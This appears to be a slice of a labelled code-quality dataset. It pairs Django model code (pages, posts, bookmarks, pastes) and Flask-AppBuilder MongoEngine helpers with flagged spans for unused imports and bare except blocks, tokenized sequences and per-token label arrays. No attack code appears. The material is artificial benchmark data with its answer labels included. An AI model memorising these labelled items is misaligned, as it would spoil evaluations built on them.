*args, **kwargs):\n if not self.title:\n self.title, body = get_url_data(self.url)\n if not self.slug:\n self.slug = slugify_uniquely(self.title, self.__class__)\n super(Bookmark, self).save(*args, **kwargs)", "metadata": "root.Bookmark.save", "header": "['class', 'Bookmark', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 115 }, { "content": " def __unicode__(self):\n return self.slug", "metadata": "root.Bookmark.__unicode__", "header": "['class', 'Bookmark', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 122 }, { "content": " @models.permalink\n def get_absolute_url(self):\n return ('web:show-bookmark', (), {'slug': self.slug})", "metadata": "root.Bookmark.get_absolute_url", "header": "['class', 'Bookmark', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 125 }, { "content": "class Paste(models.Model):\n text = models.TextField()\n lexer = models.CharField(max_length=5)\n title = models.CharField(max_length=100, blank=True)\n group = models.CharField(max_length=100, blank=True)\n created = models.DateTimeField(auto_now_add=True)\n\n\n class Meta:\n db_table = 'paste'", "metadata": "root.Paste", "header": "['module', '___EOS___']", "index": 130 }, { "content": " def __unicode__(self):\n return u\"Paste: %s\" % (self.title)", "metadata": "root.Paste.__unicode__", "header": "['class', 'Paste', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 137 } ]
[ { "span": "from django.conf import settings", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 32 }, { "span": "from django.contrib.contenttypes import generic", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 47 }, { "span": "from django.contrib.contenttypes.models import ContentType", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 58 }, { "span": "from niwi.utils import get_url_data, cacheable", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 46 }, { "span": "from niwi.web.forms import LEXER_CHOICES", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 40 }, { "span": "import datetime, uuid", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 21 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "._", "default", "filters_", "import_", "slugify_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "import_", "generic_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "._", "models_", "import_", "Conten", "t", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "ni", "wi", "_", "._", "utils_", "import_", "get", "\\u", "url", "\\u", "data_", ",_", "cache", "able_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ni", "wi", "_", "._", "web_", "._", "forms_", "import_", "LEX", "ER", "\\u", "CHOICES_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ni", "wi", "_", "._", "contrib_", "._", "db_", "._", "fields_", "import_", "Creat", "ion", "Date", "Time", "Field_", ",_", "Modifica", "tion", "Date", "Time", "Field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", ",_", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "STATUS", "\\u", "CHOICES_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "public", "'_", ",_", "u", "'", "Public", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "private", "'_", ",_", "u", "'", "Priva", "te", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "draft", "'_", ",_", "u", "'", "Dra", "ft", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "slug", "if", "y", "\\u", "unique", "ly_", "(_", "value_", ",_", "model_", ",_", "slug", "field_", "=_", "\"", "slug", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "suffix_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "potential_", "=_", "base_", "=_", "slugify_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "potential_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "potential_", "=_", "'", "null", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "suffix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "potential_", "=_", "\"-\"_", "._", "join_", "(_", "[_", "base_", ",_", "str_", "(_", "suffix_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "model_", "._", "objects_", "._", "filter_", "(_", "**_", "{_", "slug", "field_", ":_", "potential_", "}_", ")_", "._", "count_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "potential_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "suffix_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Page_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slug_", "=_", "models_", "._", "Sl", "ug", "Field_", "(_", "max", "\\u", "length_", "=_", "100_", ",_", "unique_", "=_", "True_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "editable_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "title_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "500_", ",_", "db", "\\u", "index_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "models_", "._", "Text", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "markup_", "=_", "models_", "._", "Boo", "lean", "Field_", "(_", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "40_", ",_", "choices_", "=_", "STATUS", "\\u", "CHOICES_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "default_", "=_", "'", "draft", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "owner_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "'", "auth", ".", "User", "'_", ",_", "relate", "d\\u", "name_", "=_", "'", "page", "s", "'_", ",_", "null_", "=_", "True_", ",_", "default_", "=_", "None_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created", "\\u", "date_", "=_", "Creat", "ion", "Date", "Time", "Field_", "(_", "editable_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modifi", "ed", "\\u", "date_", "=_", "Modifica", "tion", "Date", "Time", "Field_", "(_", "editable_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "table_", "=_", "'", "page", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Page_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "models_", "._", "permalink", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "abs", "olute", "\\u", "url_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "'", "web", ":", "show", "-", "page", "'_", ",_", "(_", ")_", ",_", "{_", "'", "slug", "'_", ":_", "self_", "._", "slug_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Page_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "slug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "slug_", "=_", "slug", "if", "y", "\\u", "unique", "ly_", "(_", "self_", "._", "title_", ",_", "self_", "._", "\\u\\u", "class\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Page_", ",_", "self_", ")_", "._", "save_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Page_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "\"", "Page", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "title_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Post_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slug_", "=_", "models_", "._", "Sl", "ug", "Field_", "(_", "max", "\\u", "length_", "=_", "100_", ",_", "unique_", "=_", "True_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "editable_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "title_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "500_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "models_", "._", "Text", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "markup_", "=_", "models_", "._", "Boo", "lean", "Field_", "(_", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "owner_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "'", "auth", ".", "User", "'_", ",_", "relate", "d\\u", "name_", "=_", "'", "posts", "'_", ",_", "null_", "=_", "True_", ",_", "default_", "=_", "None_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "40_", ",_", "choices_", "=_", "STATUS", "\\u", "CHOICES_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "default_", "=_", "'", "draft", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tags_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "200_", ",_", "blank_", "=_", "True_", ",_", "null_", "=_", "True_", ",_", "default_", "=_", "''_", ",_", "db", "\\u", "index_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "created", "\\u", "date_", "=_", "Creat", "ion", "Date", "Time", "Field_", "(_", "editable_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modifi", "ed", "\\u", "date_", "=_", "Modifica", "tion", "Date", "Time", "Field_", "(_", "editable_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "table_", "=_", "'", "posts", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Post_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "\"", "Post", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "title_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "slug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "slug_", "=_", "slug", "if", "y", "\\u", "unique", "ly_", "(_", "self_", "._", "title_", ",_", "self_", "._", "\\u\\u", "class\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Post_", ",_", "self_", ")_", "._", "save_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "models_", "._", "permalink", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "abs", "olute", "\\u", "url_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "'", "web", ":", "show", "-", "post", "'_", ",_", "(_", ")_", ",_", "{_", "'", "slug", "'_", ":_", "self_", "._", "slug_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Post", "Attachment_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "post_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "'", "Post", "'_", ",_", "relate", "d\\u", "name_", "=_", "'", "attach", "ment", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slug_", "=_", "models_", "._", "Sl", "ug", "Field_", "(_", "max", "\\u", "length_", "=_", "200_", ",_", "unique_", "=_", "True_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "editable_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "500_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file_", "=_", "models_", "._", "File", "Field_", "(_", "max", "\\u", "length_", "=_", "500_", ",_", "upload", "\\u", "to_", "=_", "\"", "attach", "ment", "s", "/", "%", "Y", "/", "%", "m", "/", "%", "d", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "serialize_", "=_", "False_", ",_", "editable_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Bookmark", "_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "title_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "500_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slug_", "=_", "models_", "._", "Sl", "ug", "Field_", "(_", "max", "\\u", "length_", "=_", "100_", ",_", "unique_", "=_", "True_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "editable_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "1000_", ",_", "db", "\\u", "index_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tags_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "1000_", ",_", "db", "\\u", "index_", "=_", "True_", ",_", "blank_", "=_", "True_", ",_", "default_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "owner_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "'", "auth", ".", "User", "'_", ",_", "relate", "d\\u", "name_", "=_", "'", "bookmark", "s", "'_", ",_", "blank_", "=_", "True_", ",_", "null_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "created", "\\u", "date_", "=_", "models_", "._", "Date", "Time", "Field_", "(_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modifi", "ed", "\\u", "date_", "=_", "models_", "._", "Date", "Time", "Field_", "(_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "public_", "=_", "models_", "._", "Boo", "lean", "Field_", "(_", "default_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "table_", "=_", "'", "bookmark", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Bookmark", "_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "\"", "Bookmark", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "title_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bookmark", "_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "title_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "title_", ",_", "body_", "=_", "get", "\\u", "url", "\\u", "data_", "(_", "self_", "._", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "slug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "slug_", "=_", "slug", "if", "y", "\\u", "unique", "ly_", "(_", "self_", "._", "title_", ",_", "self_", "._", "\\u\\u", "class\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Bookmark", "_", ",_", "self_", ")_", "._", "save_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bookmark", "_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "slug_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bookmark", "_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "models_", "._", "permalink", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "abs", "olute", "\\u", "url_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "'", "web", ":", "show", "-", "bookmark", "'_", ",_", "(_", ")_", ",_", "{_", "'", "slug", "'_", ":_", "self_", "._", "slug_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Past", "e_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "models_", "._", "Text", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lexer_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "title_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "100_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "group_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "100_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created_", "=_", "models_", "._", "Date", "Time", "Field_", "(_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "table_", "=_", "'", "paste", "'_", "[SEP]_", "class_", "Past", "e_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEO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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
dpgaspar/Flask-AppBuilder/flask_appbuilder/models/mongoengine/interface.py
[ { "content": " def is_object_id(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], ObjectIdField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_object_id", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 69 }, { "content": " def is_string(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], StringField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_string", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 75 }, { "content": " def is_integer(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], IntField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_integer", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 81 }, { "content": " def is_float(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], FloatField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_float", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", 